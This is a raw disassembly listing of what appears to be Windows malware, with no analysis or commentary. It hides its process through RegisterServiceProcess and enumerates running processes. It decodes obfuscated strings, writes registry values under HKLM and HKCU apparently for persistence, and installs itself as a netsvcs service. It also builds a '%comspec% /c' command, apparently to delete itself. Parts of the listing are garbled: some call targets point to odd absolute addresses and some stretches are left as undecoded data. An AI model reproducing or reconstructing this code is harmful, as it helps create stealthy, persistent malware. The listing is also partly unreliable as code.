push eax
push 0
call near ptr 28A1CCEh
nop
push eax
nop
call near ptr 28A1273h
push offset aKernel32_dll_0 ; "kernel32.dll"
nop
call near ptr 27F088Ah
mov esi, eax
test esi, esi
jz short loc_40D751
mov edi, dword_511918
push offset aRegisterservic ; "RegisterServiceProcess"
push esi
call edi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push esi
mov dword_449074, eax
call edi
push offset aProcess32first ; "Process32First"
push esi
mov dword_449070, eax
call edi
push offset aProcess32next ; "Process32Next"
push esi
mov dword_44906C, eax
call edi
mov dword_448F38, eax
mov eax, dword_449074
test eax, eax
jz short loc_40D751
push ebx
push 0
call eax
loc_40D751: ; CODE XREF: sub_40D660+A7j
; sub_40D660+EAj
mov esi, [esp+1A8h+arg_0]
push 0
mov ecx, esi
call sub_4017EE
push eax
lea ecx, [esp+1B0h+var_184]
call sub_402135
test eax, eax
jnz short loc_40D788
mov al, byte_44915F
test al, al
jz short loc_40D788
mov ecx, esi
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
loc_40D788: ; CODE XREF: sub_40D660+10Dj
; sub_40D660+116j
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 12h
push 10h
push 10h
push 0Eh
push 9
lea eax, [esp+1D8h+var_19C]
push 17h
push eax
call sub_4019C4
add esp, 38h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 2
call sub_4017EE
push eax
call sub_401604
sub_40D660 endp
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push 0Fh
push 8
push 0Ch
push 0Ch
lea ecx, [esp+38h]
push 4
push ecx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 3
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 4
push 10h
push 14h
push 6
lea edx, [esp+30h]
push 14h
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+1A4h], 4
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push ebx
push 0Ch
push 2
push 13h
lea eax, [esp+38h]
push 0Dh
push eax
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 5
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 13h
push 9
push 0Eh
push 5
lea ecx, [esp+38h]
push 10h
push ecx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 6
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 8
push 3
push 14h
push ebx
push 10h
push 13h
lea edx, [esp+38h]
push 0Dh
push edx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 7
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
dd 8D50FFFFh, 0A8248Ch, 8680000h, 5100444Bh, 1E9D66E8h
dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
dd 442994E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h
dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h
dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B00h, 83D6FF51h
dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DCAh, 9C24948Dh
dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
dd 447C24h, 0F2E80000h, 90023F2Ah, 874C085h, 0E890006Ah
dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1, 0FF3795E8h, 244C8DFFh
dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3781E8h, 248C8BFFh
dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
add esp, 19Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DBF0 proc near ; CODE XREF: sub_401195j
mov al, byte_449161
test al, al
jz short loc_40DC04
push offset word_449162
nop
call near ptr 27F0D56h
loc_40DC04: ; CODE XREF: sub_40DBF0+7j
mov al, 1
retn
sub_40DBF0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DC20 proc near ; CODE XREF: sub_401E79j
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = byte ptr -6B0h
var_6AC = byte ptr -6ACh
var_694 = byte ptr -694h
var_67C = byte ptr -67Ch
var_664 = byte ptr -664h
var_64C = byte ptr -64Ch
var_634 = byte ptr -634h
var_61C = byte ptr -61Ch
var_604 = byte ptr -604h
var_5EC = byte ptr -5ECh
var_5D4 = byte ptr -5D4h
var_5BC = byte ptr -5BCh
var_5A4 = byte ptr -5A4h
var_58C = byte ptr -58Ch
var_574 = byte ptr -574h
var_564 = dword ptr -564h
var_534 = word ptr -534h
var_520 = byte ptr -520h
var_41C = byte ptr -41Ch
var_318 = byte ptr -318h
var_214 = byte ptr -214h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40DC20
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 6C4h
push esi
lea eax, [esp+6D4h+var_41C]
push 104h
push eax
push 0
nop
call near ptr 28A1CCEh
push eax
nop
call near ptr 28A1273h
lea ecx, [esp+6D4h+var_318]
push ecx
push 104h
nop
call near ptr 27E0000h
push 0
push 14h
push 1
push 2
push 4Fh
push 0Fh
push 12h
push 6
lea edx, [esp+6F4h+var_5EC]
push 1
push edx
call sub_4019C4
add esp, 28h
mov ecx, eax
mov [esp+6D4h+var_4], 0
call sub_4017EE
push eax
lea eax, [esp+6D8h+var_318]
push eax
lea ecx, [esp+6DCh+var_520]
push offset dword_444684
push ecx
nop
call sub_5F76F7
add esp, 10h
lea ecx, [esp+6D4h+var_5EC]
mov [esp+6D4h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0
push 2
push 0
push 0
lea edx, [esp+6E8h+var_520]
push 40000000h
push edx
call near ptr 2880000h
nop
mov esi, eax
test esi, esi
jbe loc_40E178
push ebx
push ebp
push edi
lea ecx, [esp+6E0h+var_6AC]
call sub_40142E
push 0
push 14h
push 1
push 2
lea eax, [esp+6F0h+var_604]
push 4Fh
push eax
mov [esp+6F8h+var_4], 1
call sub_4019C4
mov edi, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+720h+var_634]
push 4
push ecx
mov byte ptr [esp+728h+var_4], 2
call sub_4019C4
add esp, 48h
mov ebp, eax
push 0
push 14h
push 1
push 2
lea edx, [esp+6F0h+var_664]
push 4Fh
push edx
mov byte ptr [esp+6F8h+var_4], 3
call sub_4019C4
mov ebx, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea eax, [esp+72Ch+var_67C]
push 4
push eax
mov byte ptr [esp+734h+var_4], 4
call sub_4019C4
add esp, 54h
mov [esp+6E0h+var_6B4], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
lea ecx, [esp+6F4h+var_61C]
push 53h
push ecx
mov byte ptr [esp+6FCh+var_4], 5
call sub_4019C4
mov [esp+6FCh+var_6C8], eax
mov byte ptr [esp+6FCh+var_4], 6
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Eh
push 0Fh
push 14h
push 0Fh
lea edx, [esp+724h+var_5D4]
push 7
push edx
call sub_4019C4
add esp, 4Ch
mov [esp+6E0h+var_6B8], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 0Ch
push 5
lea eax, [esp+708h+var_5A4]
push 4
push eax
mov byte ptr [esp+710h+var_4], 7
call sub_4019C4
mov [esp+710h+var_6C0], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+744h+var_58C]
push 4
push ecx
mov byte ptr [esp+74Ch+var_4], 8
call sub_4019C4
add esp, 6Ch
mov [esp+6E0h+var_6D0], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
push 4Eh
push 0Fh
push 14h
push 0Fh
push 7
push 4Eh
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 14h
push 13h
push 9
push 18h
push 5
push 4Eh
push 14h
mov byte ptr [esp+744h+var_4], 9
push 0Fh
push 0Eh
push 4Eh
push 6
lea edx, [esp+754h+var_694]
push 9
push edx
call sub_4019C4
mov [esp+75Ch+var_6CC], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
lea eax, [esp+774h+var_5BC]
push 53h
push eax
mov byte ptr [esp+77Ch+var_4], 0Ah
call sub_4019C4
add esp, 9Ch
mov [esp+6E0h+var_6C4], eax
push 0
push 6
push 6
push 0Fh
push 4Eh
push 0Fh
push 8
push 3
push 5
lea ecx, [esp+704h+var_64C]
push 56h
push ecx
mov byte ptr [esp+70Ch+var_4], 0Bh
call sub_4019C4
add esp, 2Ch
mov [esp+6E0h+var_6BC], eax
mov ecx, edi
mov byte ptr [esp+6E0h+var_4], 0Ch
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
mov ecx, [esp+6E8h+var_6B4]
push eax
call sub_4017EE
mov ecx, [esp+6ECh+var_6C8]
push eax
call sub_4017EE
mov ecx, [esp+6F0h+var_6B8]
push eax
call sub_4017EE
mov ecx, [esp+6F4h+var_6C0]
push eax
call sub_4017EE
mov ecx, [esp+6F8h+var_6D0]
push eax
call sub_4017EE
mov ecx, [esp+6FCh+var_6CC]
push eax
call sub_4017EE
mov ecx, [esp+700h+var_6C4]
push eax
call sub_4017EE
mov ecx, [esp+704h+var_6BC]
push eax
call sub_4017EE
push eax
lea edx, [esp+70Ch+var_6AC]
push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
push edx
call sub_40102D
add esp, 34h
mov byte ptr [esp+6E0h+var_4], 0Bh
lea ecx, [esp+6E0h+var_64C]
call sub_401226
lea ecx, [esp+6E0h+var_5BC]
mov byte ptr [esp+6E0h+var_4], 0Ah
call sub_401226
lea ecx, [esp+6E0h+var_694]
mov byte ptr [esp+6E0h+var_4], 9
call sub_401226
lea ecx, [esp+6E0h+var_58C]
mov byte ptr [esp+6E0h+var_4], 8
call sub_401226
lea ecx, [esp+6E0h+var_5A4]
mov byte ptr [esp+6E0h+var_4], 7
call sub_401226
lea ecx, [esp+6E0h+var_5D4]
mov byte ptr [esp+6E0h+var_4], 6
call sub_401226
lea ecx, [esp+6E0h+var_61C]
mov byte ptr [esp+6E0h+var_4], 5
call sub_401226
lea ecx, [esp+6E0h+var_67C]
mov byte ptr [esp+6E0h+var_4], 4
call sub_401226
lea ecx, [esp+6E0h+var_664]
mov byte ptr [esp+6E0h+var_4], 3
call sub_401226
lea ecx, [esp+6E0h+var_634]
mov byte ptr [esp+6E0h+var_4], 2
call sub_401226
lea ecx, [esp+6E0h+var_604]
mov byte ptr [esp+6E0h+var_4], 1
call sub_401226
lea eax, [esp+6E0h+var_6B0]
push 0
push eax
push 69h
lea ecx, [esp+6ECh+var_6AC]
call sub_4017EE
push eax
push esi
nop
call near ptr 27F0000h
push esi
nop
call near ptr 2850BF4h
mov ecx, 11h
xor eax, eax
lea edi, [esp+6E0h+var_564]
push 104h
rep stosd
lea ecx, [esp+6E4h+var_41C]
mov [esp+6E4h+var_564], 44h
push ecx
push eax
mov [esp+6ECh+var_534], ax
nop
call near ptr 28A1CCEh
push eax
nop
call near ptr 28A1273h
lea edx, [esp+6E0h+var_41C]
lea eax, [esp+6E0h+var_520]
push edx
push eax
lea ecx, [esp+6E8h+var_214]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push ecx
nop
call sub_5F76F7
add esp, 10h
lea edx, [esp+6E0h+var_110]
lea eax, [esp+6E0h+var_214]
push 104h
push edx
push eax
call near ptr 2810000h
nop
lea ecx, [esp+6E0h+var_574]
lea edx, [esp+6E0h+var_564]
push ecx
push edx
push 0
push 0
push 28h
push 1
push 0
push 0
lea eax, [esp+700h+var_110]
push eax
push 0
nop
call near ptr 2800565h
lea ecx, [esp+6E0h+var_6AC]
mov [esp+6E0h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop ebp
pop ebx
mov al, 1
pop esi
mov ecx, [esp+6D0h+var_C]
mov large fs:0, ecx
add esp, 6D0h
retn
; ---------------------------------------------------------------------------
loc_40E178: ; CODE XREF: sub_40DC20+D6j
mov ecx, [esp+6D4h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 6D0h
retn
sub_40DC20 endp
; ---------------------------------------------------------------------------
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E2F0 proc near ; CODE XREF: sub_401730j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40E2F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_54]
call sub_40142E
lea ecx, [esp+80h+var_6C]
mov [esp+80h+var_4], 0
call sub_40142E
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_40142E
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019C4
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 3
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019C4
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 4
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019C4
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 5
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
mov ebp, dword_51175C
push eax
push 80000002h
call ebp
mov esi, [esp+80h+arg_4]
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
mov ebx, [esp+84h+arg_0]
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2970000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2930000h
push 0
lea eax, [esp+84h+var_70]
lea ecx, [esp+84h+var_6C]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
call sub_4017EE
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2970000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2930000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2970000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2930000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2970000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2930000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017EE
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2970000h
nop
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2930000h
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_6C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
lea ecx, [esp+80h+var_54]
mov [esp+80h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 8
sub_40E2F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E870 proc near ; CODE XREF: sub_401451j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40E870
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_6C]
call sub_40142E
lea ecx, [esp+80h+var_3C]
mov [esp+80h+var_4], 0
call sub_40142E
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_40142E
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019C4
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 3
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019C4
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 4
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019C4
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 5
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
mov esi, dword_51175C
push eax
push 80000002h
call esi
mov edi, [esp+80h+arg_0]
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
mov ebp, dword_51176C
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
mov ebx, dword_511740
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
push eax
push 80000002h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000002h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000001h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017EE
push eax
push 80000001h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
mov [esp+80h+var_4], 0FFFFFFFFh
lea ecx, [esp+80h+var_6C]
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 4
sub_40E870 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ED00 proc near ; CODE XREF: sub_4014A1j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40ED00
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebx
push esi
mov esi, ecx
lea ecx, [esp+5Ch+var_24]
call sub_40142E
push 104h
push 104h
lea ecx, [esp+64h+var_24]
mov [esp+64h+var_4], 0
call sub_401C71
push eax
nop
call near ptr 2800000h
lea ecx, [esp+5Ch+var_3C]
call sub_40142E
mov ecx, [esp+5Ch+arg_4]
mov byte ptr [esp+5Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+60h+var_24]
call sub_4017EE
push eax
lea eax, [esp+64h+var_3C]
push offset dword_444684
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+5Ch+var_54]
call sub_40142E
lea ecx, [esp+5Ch+var_54]
push offset aNetsvcs ; "-netsvcs"
push ecx
mov byte ptr [esp+64h+var_4], 2
call sub_40102D
mov ecx, [esp+64h+arg_0]
add esp, 8
lea edx, [esp+5Ch+var_54]
lea eax, [esp+5Ch+var_3C]
push edx
push eax
push ecx
mov ecx, esi
call sub_402171
lea ecx, [esp+5Ch+var_54]
mov bl, al
mov byte ptr [esp+5Ch+var_4], 1
call sub_401226
lea ecx, [esp+5Ch+var_3C]
mov byte ptr [esp+5Ch+var_4], 0
call sub_401226
lea ecx, [esp+5Ch+var_24]
mov [esp+5Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+5Ch+var_C]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
add esp, 54h
retn 8
sub_40ED00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EE40 proc near ; CODE XREF: sub_402171j
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40EE40
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push ebp
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
mov [esp+5Ch+var_44], ecx
push 0
call near ptr 2930926h
nop
mov edi, eax
test edi, edi
jnz short loc_40EE7F
xor al, al
jmp loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EE7F: ; CODE XREF: sub_40EE40+36j
lea ecx, [esp+54h+var_24]
call sub_40142E
mov ecx, [esp+54h+arg_8]
mov [esp+54h+var_4], 0
call sub_4017EE
